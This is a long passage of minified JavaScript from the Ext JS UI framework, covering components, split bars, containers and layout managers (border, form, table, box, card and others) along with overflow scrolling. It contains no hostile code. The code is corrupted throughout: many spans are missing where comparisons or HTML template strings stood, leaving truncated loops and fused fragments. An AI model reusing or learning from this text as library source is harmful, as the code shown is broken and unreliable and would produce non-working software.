this},afterRender:function(){Ext.BoxComponent.superclass.afterRender.call(this);if(this.resizeEl){this.resizeEl=Ext.get(this.resizeEl)}if(this.positionEl){this.positionEl=Ext.get(this.positionEl)}this.boxReady=true;Ext.isDefined(this.autoScroll)&&this.setAutoScroll(this.autoScroll);this.setSize(this.width,this.height);if(this.x||this.y){this.setPosition(this.x,this.y)}else{if(this.pageX||this.pageY){this.setPagePosition(this.pageX,this.pageY)}}},syncSize:function(){delete this.lastSize;this.setSize(this.autoWidth?undefined:this.getResizeEl().getWidth(),this.autoHeight?undefined:this.getResizeEl().getHeight());return this},onResize:function(d,b,a,c){},onPosition:function(a,b){},adjustSize:function(a,b){if(this.autoWidth){a="auto"}if(this.autoHeight){b="auto"}return{width:a,height:b}},adjustPosition:function(a,b){return{x:a,y:b}}});Ext.reg("box",Ext.BoxComponent);Ext.Spacer=Ext.extend(Ext.BoxComponent,{autoEl:"div"});Ext.reg("spacer",Ext.Spacer);Ext.SplitBar=function(c,e,b,d,a){this.el=Ext.get(c,true);this.el.dom.unselectable="on";this.resizingEl=Ext.get(e,true);this.orientation=b||Ext.SplitBar.HORIZONTAL;this.minSize=0;this.maxSize=2000;this.animate=false;this.useShim=false;this.shim=null;if(!a){this.proxy=Ext.SplitBar.createProxy(this.orientation)}else{this.proxy=Ext.get(a).dom}this.dd=new Ext.dd.DDProxy(this.el.dom.id,"XSplitBars",{dragElId:this.proxy.id});this.dd.b4StartDrag=this.onStartProxyDrag.createDelegate(this);this.dd.endDrag=this.onEndProxyDrag.createDelegate(this);this.dragSpecs={};this.adapter=new Ext.SplitBar.BasicLayoutAdapter();this.adapter.init(this);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.placement=d||(this.el.getX()>this.resizingEl.getX()?Ext.SplitBar.LEFT:Ext.SplitBar.RIGHT);this.el.addClass("x-splitbar-h")}else{this.placement=d||(this.el.getY()>this.resizingEl.getY()?Ext.SplitBar.TOP:Ext.SplitBar.BOTTOM);this.el.addClass("x-splitbar-v")}this.addEvents("resize","moved","beforeresize","beforeapply");Ext.SplitBar.superclass.constructor.call(this)};Ext.extend(Ext.SplitBar,Ext.util.Observable,{onStartProxyDrag:function(a,e){this.fireEvent("beforeresize",this);this.overlay=Ext.DomHelper.append(document.body,{cls:"x-drag-overlay",html:" "},true);this.overlay.unselectable();this.overlay.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.overlay.show();Ext.get(this.proxy).setDisplayed("block");var c=this.adapter.getElementSize(this);this.activeMinSize=this.getMinimumSize();this.activeMaxSize=this.getMaximumSize();var d=c-this.activeMinSize;var b=Math.max(this.activeMaxSize-c,0);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.dd.resetConstraints();this.dd.setXConstraint(this.placement==Ext.SplitBar.LEFT?d:b,this.placement==Ext.SplitBar.LEFT?b:d,this.tickSize);this.dd.setYConstraint(0,0)}else{this.dd.resetConstraints();this.dd.setXConstraint(0,0);this.dd.setYConstraint(this.placement==Ext.SplitBar.TOP?d:b,this.placement==Ext.SplitBar.TOP?b:d,this.tickSize)}this.dragSpecs.startSize=c;this.dragSpecs.startPoint=[a,e];Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd,a,e)},onEndProxyDrag:function(c){Ext.get(this.proxy).setDisplayed(false);var b=Ext.lib.Event.getXY(c);if(this.overlay){Ext.destroy(this.overlay);delete this.overlay}var a;if(this.orientation==Ext.SplitBar.HORIZONTAL){a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.LEFT?b[0]-this.dragSpecs.startPoint[0]:this.dragSpecs.startPoint[0]-b[0])}else{a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.TOP?b[1]-this.dragSpecs.startPoint[1]:this.dragSpecs.startPoint[1]-b[1])}a=Math.min(Math.max(a,this.activeMinSize),this.activeMaxSize);if(a!=this.dragSpecs.startSize){if(this.fireEvent("beforeapply",this,a)!==false){this.adapter.setElementSize(this,a);this.fireEvent("moved",this,a);this.fireEvent("resize",this,a)}}},getAdapter:function(){return this.adapter},setAdapter:function(a){this.adapter=a;this.adapter.init(this)},getMinimumSize:function(){return this.minSize},setMinimumSize:function(a){this.minSize=a},getMaximumSize:function(){return this.maxSize},setMaximumSize:function(a){this.maxSize=a},setCurrentSize:function(b){var a=this.animate;this.animate=false;this.adapter.setElementSize(this,b);this.animate=a},destroy:function(a){Ext.destroy(this.shim,Ext.get(this.proxy));this.dd.unreg();if(a){this.el.remove()}this.purgeListeners()}});Ext.SplitBar.createProxy=function(b){var c=new Ext.Element(document.createElement("div"));document.body.appendChild(c.dom);c.unselectable();var a="x-splitbar-proxy";c.addClass(a+" "+(b==Ext.SplitBar.HORIZONTAL?a+"-h":a+"-v"));return c.dom};Ext.SplitBar.BasicLayoutAdapter=function(){};Ext.SplitBar.BasicLayoutAdapter.prototype={init:function(a){},getElementSize:function(a){if(a.orientation==Ext.SplitBar.HORIZONTAL){return a.resizingEl.getWidth()}else{return a.resizingEl.getHeight()}},setElementSize:function(b,a,c){if(b.orientation==Ext.SplitBar.HORIZONTAL){if(!b.animate){b.resizingEl.setWidth(a);if(c){c(b,a)}}else{b.resizingEl.setWidth(a,true,0.1,c,"easeOut")}}else{if(!b.animate){b.resizingEl.setHeight(a);if(c){c(b,a)}}else{b.resizingEl.setHeight(a,true,0.1,c,"easeOut")}}}};Ext.SplitBar.AbsoluteLayoutAdapter=function(a){this.basic=new Ext.SplitBar.BasicLayoutAdapter();this.container=Ext.get(a)};Ext.SplitBar.AbsoluteLayoutAdapter.prototype={init:function(a){this.basic.init(a)},getElementSize:function(a){return this.basic.getElementSize(a)},setElementSize:function(b,a,c){this.basic.setElementSize(b,a,this.moveSplitter.createDelegate(this,[b]))},moveSplitter:function(a){var b=Ext.SplitBar;switch(a.placement){case b.LEFT:a.el.setX(a.resizingEl.getRight());break;case b.RIGHT:a.el.setStyle("right",(this.container.getWidth()-a.resizingEl.getLeft())+"px");break;case b.TOP:a.el.setY(a.resizingEl.getBottom());break;case b.BOTTOM:a.el.setY(a.resizingEl.getTop()-a.el.getHeight());break}}};Ext.SplitBar.VERTICAL=1;Ext.SplitBar.HORIZONTAL=2;Ext.SplitBar.LEFT=1;Ext.SplitBar.RIGHT=2;Ext.SplitBar.TOP=3;Ext.SplitBar.BOTTOM=4;Ext.Container=Ext.extend(Ext.BoxComponent,{bufferResize:50,autoDestroy:true,forceLayout:false,defaultType:"panel",resizeEvent:"resize",bubbleEvents:["add","remove"],initComponent:function(){Ext.Container.superclass.initComponent.call(this);this.addEvents("afterlayout","beforeadd","beforeremove","add","remove");var a=this.items;if(a){delete this.items;this.add(a)}},initItems:function(){if(!this.items){this.items=new Ext.util.MixedCollection(false,this.getComponentId);this.getLayout()}},setLayout:function(a){if(this.layout&&this.layout!=a){this.layout.setContainer(null)}this.layout=a;this.initItems();a.setContainer(this)},afterRender:function(){Ext.Container.superclass.afterRender.call(this);if(!this.layout){this.layout="auto"}if(Ext.isObject(this.layout)&&!this.layout.layout){this.layoutConfig=this.layout;this.layout=this.layoutConfig.type}if(Ext.isString(this.layout)){this.layout=new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig)}this.setLayout(this.layout);if(this.activeItem!==undefined&&this.layout.setActiveItem){var a=this.activeItem;delete this.activeItem;this.layout.setActiveItem(a)}if(!this.ownerCt){this.doLayout(false,true)}if(this.monitorResize===true){Ext.EventManager.onWindowResize(this.doLayout,this,[false])}},getLayoutTarget:function(){return this.el},getComponentId:function(a){return a.getItemId()},add:function(b){this.initItems();var e=arguments.length>1;if(e||Ext.isArray(b)){var a=[];Ext.each(e?arguments:b,function(h){a.push(this.add(h))},this);return a}var g=this.lookupComponent(this.applyDefaults(b));var d=this.items.length;if(this.fireEvent("beforeadd",this,g,d)!==false&&this.onBeforeAdd(g)!==false){this.items.add(g);g.onAdded(this,d);this.onAdd(g);this.fireEvent("add",this,g,d)}return g},onAdd:function(a){},onAdded:function(a,b){this.ownerCt=a;this.initRef();this.cascade(function(d){d.initRef()});this.fireEvent("added",this,a,b)},insert:function(e,b){var d=arguments,h=d.length,a=[],g,k;this.initItems();if(h>2){for(g=h-1;g>=1;--g){a.push(this.insert(e,d[g]))}return a}k=this.lookupComponent(this.applyDefaults(b));e=Math.min(e,this.items.length);if(this.fireEvent("beforeadd",this,k,e)!==false&&this.onBeforeAdd(k)!==false){if(k.ownerCt==this){this.items.remove(k)}this.items.insert(e,k);k.onAdded(this,e);this.onAdd(k);this.fireEvent("add",this,k,e)}return k},applyDefaults:function(b){var a=this.defaults;if(a){if(Ext.isFunction(a)){a=a.call(this,b)}if(Ext.isString(b)){b=Ext.ComponentMgr.get(b);Ext.apply(b,a)}else{if(!b.events){Ext.applyIf(b.isAction?b.initialConfig:b,a)}else{Ext.apply(b,a)}}}return b},onBeforeAdd:function(a){if(a.ownerCt){a.ownerCt.remove(a,false)}if(this.hideBorders===true){a.border=(a.border===true)}},remove:function(a,b){this.initItems();var d=this.getComponent(a);if(d&&this.fireEvent("beforeremove",this,d)!==false){this.doRemove(d,b);this.fireEvent("remove",this,d)}return d},onRemove:function(a){},doRemove:function(e,d){var b=this.layout,a=b&&this.rendered;if(a){b.onRemove(e)}this.items.remove(e);e.onRemoved();this.onRemove(e);if(d===true||(d!==false&&this.autoDestroy)){e.destroy()}if(a){b.afterRemove(e)}},removeAll:function(c){this.initItems();var e,g=[],b=[];this.items.each(function(h){g.push(h)});for(var d=0,a=g.length;d','','
    ','
    ',"");a.disableFormats=true;return a.compile()})(),destroy:function(){if(this.resizeTask&&this.resizeTask.cancel){this.resizeTask.cancel()}if(this.container){this.container.un(this.container.resizeEvent,this.onResize,this)}if(!Ext.isEmpty(this.targetCls)){var a=this.container.getLayoutTarget();if(a){a.removeClass(this.targetCls)}}}});Ext.layout.AutoLayout=Ext.extend(Ext.layout.ContainerLayout,{type:"auto",monitorResize:true,onLayout:function(d,g){Ext.layout.AutoLayout.superclass.onLayout.call(this,d,g);var e=this.getRenderedItems(d),a=e.length,b,h;for(b=0;b0){b.setSize(a)}}});Ext.Container.LAYOUTS.fit=Ext.layout.FitLayout;Ext.layout.CardLayout=Ext.extend(Ext.layout.FitLayout,{deferredRender:false,layoutOnCardChange:false,renderHidden:true,type:"card",setActiveItem:function(d){var a=this.activeItem,b=this.container;d=b.getComponent(d);if(d&&a!=d){if(a){a.hide();if(a.hidden!==true){return false}a.fireEvent("deactivate",a)}var c=d.doLayout&&(this.layoutOnCardChange||!d.rendered);this.activeItem=d;delete d.deferLayout;d.show();this.layout();if(c){d.doLayout()}d.fireEvent("activate",d)}},renderAll:function(a,b){if(this.deferredRender){this.renderItem(this.activeItem,undefined,b)}else{Ext.layout.CardLayout.superclass.renderAll.call(this,a,b)}}});Ext.Container.LAYOUTS.card=Ext.layout.CardLayout;Ext.layout.AnchorLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"anchor",defaultAnchor:"100%",parseAnchorRE:/^(r|right|b|bottom)$/i,getLayoutTargetSize:function(){var b=this.container.getLayoutTarget(),a={};if(b){a=b.getViewSize();if(Ext.isIE&&Ext.isStrict&&a.width==0){a=b.getStyleSize()}a.width-=b.getPadding("lr");a.height-=b.getPadding("tb")}return a},onLayout:function(n,x){Ext.layout.AnchorLayout.superclass.onLayout.call(this,n,x);var q=this.getLayoutTargetSize(),l=q.width,p=q.height,r=x.getStyle("overflow"),o=this.getRenderedItems(n),u=o.length,g=[],k,a,w,m,h,c,e,d,v=0,t,b;if(l<20&&p<20){return}if(n.anchorSize){if(typeof n.anchorSize=="number"){a=n.anchorSize}else{a=n.anchorSize.width;w=n.anchorSize.height}}else{a=n.initialConfig.width;w=n.initialConfig.height}for(t=0;t ');b.disableFormats=true;b.compile();Ext.layout.BorderLayout.Region.prototype.toolTemplate=b}this.collapsedEl=this.targetEl.createChild({cls:"x-layout-collapsed x-layout-collapsed-"+this.position,id:this.panel.id+"-xcollapsed"});this.collapsedEl.enableDisplayMode("block");if(this.collapseMode=="mini"){this.collapsedEl.addClass("x-layout-cmini-"+this.position);this.miniCollapsedEl=this.collapsedEl.createChild({cls:"x-layout-mini x-layout-mini-"+this.position,html:" "});this.miniCollapsedEl.addClassOnOver("x-layout-mini-over");this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this.onExpandClick,this,{stopEvent:true})}else{if(this.collapsible!==false&&!this.hideCollapseTool){var a=this.expandToolEl=this.toolTemplate.append(this.collapsedEl.dom,{id:"expand-"+this.position},true);a.addClassOnOver("x-tool-expand-"+this.position+"-over");a.on("click",this.onExpandClick,this,{stopEvent:true})}if(this.floatable!==false||this.titleCollapse){this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this[this.floatable?"collapseClick":"onExpandClick"],this)}}}return this.collapsedEl},onExpandClick:function(a){if(this.isSlid){this.panel.expand(false)}else{this.panel.expand()}},onCollapseClick:function(a){this.panel.collapse()},beforeCollapse:function(c,a){this.lastAnim=a;if(this.splitEl){this.splitEl.hide()}this.getCollapsedEl().show();var b=this.panel.getEl();this.originalZIndex=b.getStyle("z-index");b.setStyle("z-index",100);this.isCollapsed=true;this.layout.layout()},onCollapse:function(a){this.panel.el.setStyle("z-index",1);if(this.lastAnim===false||this.panel.animCollapse===false){this.getCollapsedEl().dom.style.visibility="visible"}else{this.getCollapsedEl().slideIn(this.panel.slideAnchor,{duration:0.2})}this.state.collapsed=true;this.panel.saveState()},beforeExpand:function(a){if(this.isSlid){this.afterSlideIn()}var b=this.getCollapsedEl();this.el.show();if(this.position=="east"||this.position=="west"){this.panel.setSize(undefined,b.getHeight())}else{this.panel.setSize(b.getWidth(),undefined)}b.hide();b.dom.style.visibility="hidden";this.panel.el.setStyle("z-index",this.floatingZIndex)},onExpand:function(){this.isCollapsed=false;if(this.splitEl){this.splitEl.show()}this.layout.layout();this.panel.el.setStyle("z-index",this.originalZIndex);this.state.collapsed=false;this.panel.saveState()},collapseClick:function(a){if(this.isSlid){a.stopPropagation();this.slideIn()}else{a.stopPropagation();this.slideOut()}},onHide:function(){if(this.isCollapsed){this.getCollapsedEl().hide()}else{if(this.splitEl){this.splitEl.hide()}}},onShow:function(){if(this.isCollapsed){this.getCollapsedEl().show()}else{if(this.splitEl){this.splitEl.show()}}},isVisible:function(){return !this.panel.hidden},getMargins:function(){return this.isCollapsed&&this.cmargins?this.cmargins:this.margins},getSize:function(){return this.isCollapsed?this.getCollapsedEl().getSize():this.panel.getSize()},setPanel:function(a){this.panel=a},getMinWidth:function(){return this.minWidth},getMinHeight:function(){return this.minHeight},applyLayoutCollapsed:function(a){var b=this.getCollapsedEl();b.setLeftTop(a.x,a.y);b.setSize(a.width,a.height)},applyLayout:function(a){if(this.isCollapsed){this.applyLayoutCollapsed(a)}else{this.panel.setPosition(a.x,a.y);this.panel.setSize(a.width,a.height)}},beforeSlide:function(){this.panel.beforeEffect()},afterSlide:function(){this.panel.afterEffect()},initAutoHide:function(){if(this.autoHide!==false){if(!this.autoHideHd){this.autoHideSlideTask=new Ext.util.DelayedTask(this.slideIn,this);this.autoHideHd={mouseout:function(a){if(!a.within(this.el,true)){this.autoHideSlideTask.delay(500)}},mouseover:function(a){this.autoHideSlideTask.cancel()},scope:this}}this.el.on(this.autoHideHd);this.collapsedEl.on(this.autoHideHd)}},clearAutoHide:function(){if(this.autoHide!==false){this.el.un("mouseout",this.autoHideHd.mouseout);this.el.un("mouseover",this.autoHideHd.mouseover);this.collapsedEl.un("mouseout",this.autoHideHd.mouseout);this.collapsedEl.un("mouseover",this.autoHideHd.mouseover)}},clearMonitor:function(){Ext.getDoc().un("click",this.slideInIf,this)},slideOut:function(){if(this.isSlid||this.el.hasActiveFx()){return}this.isSlid=true;var b=this.panel.tools,c,a;if(b&&b.toggle){b.toggle.hide()}this.el.show();a=this.panel.collapsed;this.panel.collapsed=false;if(this.position=="east"||this.position=="west"){c=this.panel.deferHeight;this.panel.deferHeight=false;this.panel.setSize(undefined,this.collapsedEl.getHeight());this.panel.deferHeight=c}else{this.panel.setSize(this.collapsedEl.getWidth(),undefined)}this.panel.collapsed=a;this.restoreLT=[this.el.dom.style.left,this.el.dom.style.top];this.el.alignTo(this.collapsedEl,this.getCollapseAnchor());this.el.setStyle("z-index",this.floatingZIndex+2);this.panel.el.replaceClass("x-panel-collapsed","x-panel-floating");if(this.animFloat!==false){this.beforeSlide();this.el.slideIn(this.getSlideAnchor(),{callback:function(){this.afterSlide();this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)},scope:this,block:true})}else{this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)}},afterSlideIn:function(){this.clearAutoHide();this.isSlid=false;this.clearMonitor();this.el.setStyle("z-index","");this.panel.el.replaceClass("x-panel-floating","x-panel-collapsed");this.el.dom.style.left=this.restoreLT[0];this.el.dom.style.top=this.restoreLT[1];var a=this.panel.tools;if(a&&a.toggle){a.toggle.show()}},slideIn:function(a){if(!this.isSlid||this.el.hasActiveFx()){Ext.callback(a);return}this.isSlid=false;if(this.animFloat!==false){this.beforeSlide();this.el.slideOut(this.getSlideAnchor(),{callback:function(){this.el.hide();this.afterSlide();this.afterSlideIn();Ext.callback(a)},scope:this,block:true})}else{this.el.hide();this.afterSlideIn()}},slideInIf:function(a){if(!a.within(this.el)){this.slideIn()}},anchors:{west:"left",east:"right",north:"top",south:"bottom"},sanchors:{west:"l",east:"r",north:"t",south:"b"},canchors:{west:"tl-tr",east:"tr-tl",north:"tl-bl",south:"bl-tl"},getAnchor:function(){return this.anchors[this.position]},getCollapseAnchor:function(){return this.canchors[this.position]},getSlideAnchor:function(){return this.sanchors[this.position]},getAlignAdj:function(){var a=this.cmargins;switch(this.position){case"west":return[0,0];break;case"east":return[0,0];break;case"north":return[0,0];break;case"south":return[0,0];break}},getExpandAdj:function(){var b=this.collapsedEl,a=this.cmargins;switch(this.position){case"west":return[-(a.right+b.getWidth()+a.left),0];break;case"east":return[a.right+b.getWidth()+a.left,0];break;case"north":return[0,-(a.top+a.bottom+b.getHeight())];break;case"south":return[0,a.top+a.bottom+b.getHeight()];break}},destroy:function(){if(this.autoHideSlideTask&&this.autoHideSlideTask.cancel){this.autoHideSlideTask.cancel()}Ext.destroyMembers(this,"miniCollapsedEl","collapsedEl","expandToolEl")}};Ext.layout.BorderLayout.SplitRegion=function(b,a,c){Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this,b,a,c);this.applyLayout=this.applyFns[c]};Ext.extend(Ext.layout.BorderLayout.SplitRegion,Ext.layout.BorderLayout.Region,{splitTip:"Drag to resize.",collapsibleSplitTip:"Drag to resize. Double click to hide.",useSplitTips:false,splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.TOP,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},south:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.BOTTOM,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},east:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.RIGHT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"},west:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.LEFT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"}},applyFns:{west:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;this.panel.setPosition(c.x,c.y);var a=d.offsetWidth;b.left=(c.x+c.width-a)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},east:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetWidth;this.panel.setPosition(c.x+a,c.y);b.left=(c.x)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},north:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y);b.left=(c.x)+"px";b.top=(c.y+c.height-a)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)},south:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y+a);b.left=(c.x)+"px";b.top=(c.y)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)}},render:function(a,c){Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this,a,c);var d=this.position;this.splitEl=a.createChild({cls:"x-layout-split x-layout-split-"+d,html:" ",id:this.panel.id+"-xsplit"});if(this.collapseMode=="mini"){this.miniSplitEl=this.splitEl.createChild({cls:"x-layout-mini x-layout-mini-"+d,html:" "});this.miniSplitEl.addClassOnOver("x-layout-mini-over");this.miniSplitEl.on("click",this.onCollapseClick,this,{stopEvent:true})}var b=this.splitSettings[d];this.split=new Ext.SplitBar(this.splitEl.dom,c.el,b.orientation);this.split.tickSize=this.tickSize;this.split.placement=b.placement;this.split.getMaximumSize=this[b.maxFn].createDelegate(this);this.split.minSize=this.minSize||this[b.minProp];this.split.on("beforeapply",this.onSplitMove,this);this.split.useShim=this.useShim===true;this.maxSize=this.maxSize||this[b.maxProp];if(c.hidden){this.splitEl.hide()}if(this.useSplitTips){this.splitEl.dom.title=this.collapsible?this.collapsibleSplitTip:this.splitTip}if(this.collapsible){this.splitEl.on("dblclick",this.onCollapseClick,this)}},getSize:function(){if(this.isCollapsed){return this.collapsedEl.getSize()}var a=this.panel.getSize();if(this.position=="north"||this.position=="south"){a.height+=this.splitEl.dom.offsetHeight}else{a.width+=this.splitEl.dom.offsetWidth}return a},getHMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getWidth()+a.el.getWidth())-a.getMinWidth())},getVMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getHeight()+a.el.getHeight())-a.getMinHeight())},onSplitMove:function(b,a){var c=this.panel.getSize();this.lastSplitSize=a;if(this.position=="north"||this.position=="south"){this.panel.setSize(c.width,a);this.state.height=a}else{this.panel.setSize(a,c.height);this.state.width=a}this.layout.layout();this.panel.saveState();return false},getSplitBar:function(){return this.split},destroy:function(){Ext.destroy(this.miniSplitEl,this.split,this.splitEl);Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.border=Ext.layout.BorderLayout;Ext.layout.FormLayout=Ext.extend(Ext.layout.AnchorLayout,{labelSeparator:":",trackLabels:true,type:"form",onRemove:function(d){Ext.layout.FormLayout.superclass.onRemove.call(this,d);if(this.trackLabels){d.un("show",this.onFieldShow,this);d.un("hide",this.onFieldHide,this)}var b=d.getPositionEl(),a=d.getItemCt&&d.getItemCt();if(d.rendered&&a){if(b&&b.dom){b.insertAfter(a)}Ext.destroy(a);Ext.destroyMembers(d,"label","itemCt");if(d.customItemCt){Ext.destroyMembers(d,"getItemCt","customItemCt")}}},setContainer:function(a){Ext.layout.FormLayout.superclass.setContainer.call(this,a);if(a.labelAlign){a.addClass("x-form-label-"+a.labelAlign)}if(a.hideLabels){Ext.apply(this,{labelStyle:"display:none",elementStyle:"padding-left:0;",labelAdjust:0})}else{this.labelSeparator=Ext.isDefined(a.labelSeparator)?a.labelSeparator:this.labelSeparator;a.labelWidth=a.labelWidth||100;if(Ext.isNumber(a.labelWidth)){var b=Ext.isNumber(a.labelPad)?a.labelPad:5;Ext.apply(this,{labelAdjust:a.labelWidth+b,labelStyle:"width:"+a.labelWidth+"px;",elementStyle:"padding-left:"+(a.labelWidth+b)+"px"})}if(a.labelAlign=="top"){Ext.apply(this,{labelStyle:"width:auto;",labelAdjust:0,elementStyle:"padding-left:0;"})}}},isHide:function(a){return a.hideLabel||this.container.hideLabels},onFieldShow:function(a){a.getItemCt().removeClass("x-hide-"+a.hideMode);if(a.isComposite){a.doLayout()}},onFieldHide:function(a){a.getItemCt().addClass("x-hide-"+a.hideMode)},getLabelStyle:function(e){var b="",c=[this.labelStyle,e];for(var d=0,a=c.length;d=b)||(this.cells[c]&&this.cells[c][a])){if(b&&a>=b){c++;a=0}else{a++}}return[a,c]},renderItem:function(e,a,d){if(!this.table){this.table=d.createChild(Ext.apply({tag:"table",cls:"x-table-layout",cellspacing:0,cn:{tag:"tbody"}},this.tableAttrs),null,true)}if(e&&!e.rendered){e.render(this.getNextCell(e));this.configureItem(e)}else{if(e&&!this.isValidParent(e,d)){var b=this.getNextCell(e);b.insertBefore(e.getPositionEl().dom,null);e.container=Ext.get(b);this.configureItem(e)}}},isValidParent:function(b,a){return b.getPositionEl().up("table",5).dom.parentNode===(a.dom||a)},destroy:function(){delete this.table;Ext.layout.TableLayout.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.table=Ext.layout.TableLayout;Ext.layout.AbsoluteLayout=Ext.extend(Ext.layout.AnchorLayout,{extraCls:"x-abs-layout-item",type:"absolute",onLayout:function(a,b){b.position();this.paddingLeft=b.getPadding("l");this.paddingTop=b.getPadding("t");Ext.layout.AbsoluteLayout.superclass.onLayout.call(this,a,b)},adjustWidthAnchor:function(b,a){return b?b-a.getPosition(true)[0]+this.paddingLeft:b},adjustHeightAnchor:function(b,a){return b?b-a.getPosition(true)[1]+this.paddingTop:b}});Ext.Container.LAYOUTS.absolute=Ext.layout.AbsoluteLayout;Ext.layout.BoxLayout=Ext.extend(Ext.layout.ContainerLayout,{defaultMargins:{left:0,top:0,right:0,bottom:0},padding:"0",pack:"start",monitorResize:true,type:"box",scrollOffset:0,extraCls:"x-box-item",targetCls:"x-box-layout-ct",innerCls:"x-box-inner",constructor:function(a){Ext.layout.BoxLayout.superclass.constructor.call(this,a);if(Ext.isString(this.defaultMargins)){this.defaultMargins=this.parseMargins(this.defaultMargins)}var d=this.overflowHandler;if(typeof d=="string"){d={type:d}}var c="none";if(d&&d.type!=undefined){c=d.type}var b=Ext.layout.boxOverflow[c];if(b[this.type]){b=b[this.type]}this.overflowHandler=new b(this,d)},onLayout:function(b,h){Ext.layout.BoxLayout.superclass.onLayout.call(this,b,h);var d=this.getLayoutTargetSize(),i=this.getVisibleItems(b),c=this.calculateChildBoxes(i,d),g=c.boxes,k=c.meta;if(d.width>0){var l=this.overflowHandler,a=k.tooNarrow?"handleOverflow":"clearOverflow";var e=l[a](c,d);if(e){if(e.targetSize){d=e.targetSize}if(e.recalculate){i=this.getVisibleItems(b);c=this.calculateChildBoxes(i,d);g=c.boxes}}}this.layoutTargetLastSize=d;this.childBoxCache=c;this.updateInnerCtSize(d,c);this.updateChildBoxes(g);this.handleTargetOverflow(d,b,h)},updateChildBoxes:function(c){for(var b=0,e=c.length;b(None)',constructor:function(a){Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this,arguments);this.menuItems=[]},createInnerElements:function(){if(!this.afterCt){this.afterCt=this.layout.innerCt.insertSibling({cls:this.afterCls},"before")}},clearOverflow:function(a,g){var e=g.width+(this.afterCt?this.afterCt.getWidth():0),b=this.menuItems;this.hideTrigger();for(var c=0,d=b.length;ci.width;return m}},handleOverflow:function(d,h){this.showTrigger();var l=h.width-this.afterCt.getWidth(),m=d.boxes,e=0,s=false;for(var p=0,c=m.length;p=0;k--){var r=m[k].component,q=m[k].left+m[k].width;if(q>=l){this.menuItems.unshift({component:r,width:m[k].width});r.hide()}else{break}}}if(this.menuItems.length==0){this.hideTrigger()}return{targetSize:{height:h.height,width:l},recalculate:s}}});Ext.layout.boxOverflow.menu.hbox=Ext.layout.boxOverflow.HorizontalMenu;Ext.layout.boxOverflow.Scroller=Ext.extend(Ext.layout.boxOverflow.None,{animateScroll:true,scrollIncrement:100,wheelIncrement:3,scrollRepeatInterval:400,scrollDuration:0.4,beforeCls:"x-strip-left",afterCls:"x-strip-right",scrollerCls:"x-strip-scroller",beforeScrollerCls:"x-strip-scroller-left",afterScrollerCls:"x-strip-scroller-right",createWheelListener:function(){this.layout.innerCt.on({scope:this,mousewheel:function(a){a.stopEvent();this.scrollBy(a.getWheelDelta()*this.wheelIncrement*-1,false)}})},handleOverflow:function(a,b){this.createInnerElements();this.showScrollers()},clearOverflow:function(){this.hideScrollers()},showScrollers:function(){this.createScrollers();this.beforeScroller.show();this.afterScroller.show();this.updateScrollButtons()},hideScrollers:function(){if(this.beforeScroller!=undefined){this.beforeScroller.hide();this.afterScroller.hide()}},createScrollers:function(){if(!this.beforeScroller&&!this.afterScroller){var a=this.beforeCt.createChild({cls:String.format("{0} {1} ",this.scrollerCls,this.beforeScrollerCls)});var b=this.afterCt.createChild({cls:String.format("{0} {1}",this.scrollerCls,this.afterScrollerCls)});a.addClassOnOver(this.beforeScrollerCls+"-hover");b.addClassOnOver(this.afterScrollerCls+"-hover");a.setVisibilityMode(Ext.Element.DISPLAY);b.setVisibilityMode(Ext.Element.DISPLAY);this.beforeRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.scrollLeft,scope:this});this.afterRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.scrollRight,scope:this});this.beforeScroller=a;this.afterScroller=b}},destroy:function(){Ext.destroy(this.beforeScroller,this.afterScroller,this.beforeRepeater,this.afterRepeater,this.beforeCt,this.afterCt)},scrollBy:function(b,a){this.scrollTo(this.getScrollPosition()+b,a)},getItem:function(a){if(Ext.isString(a)){a=Ext.getCmp(a)}else{if(Ext.isNumber(a)){a=this.items[a]}}return 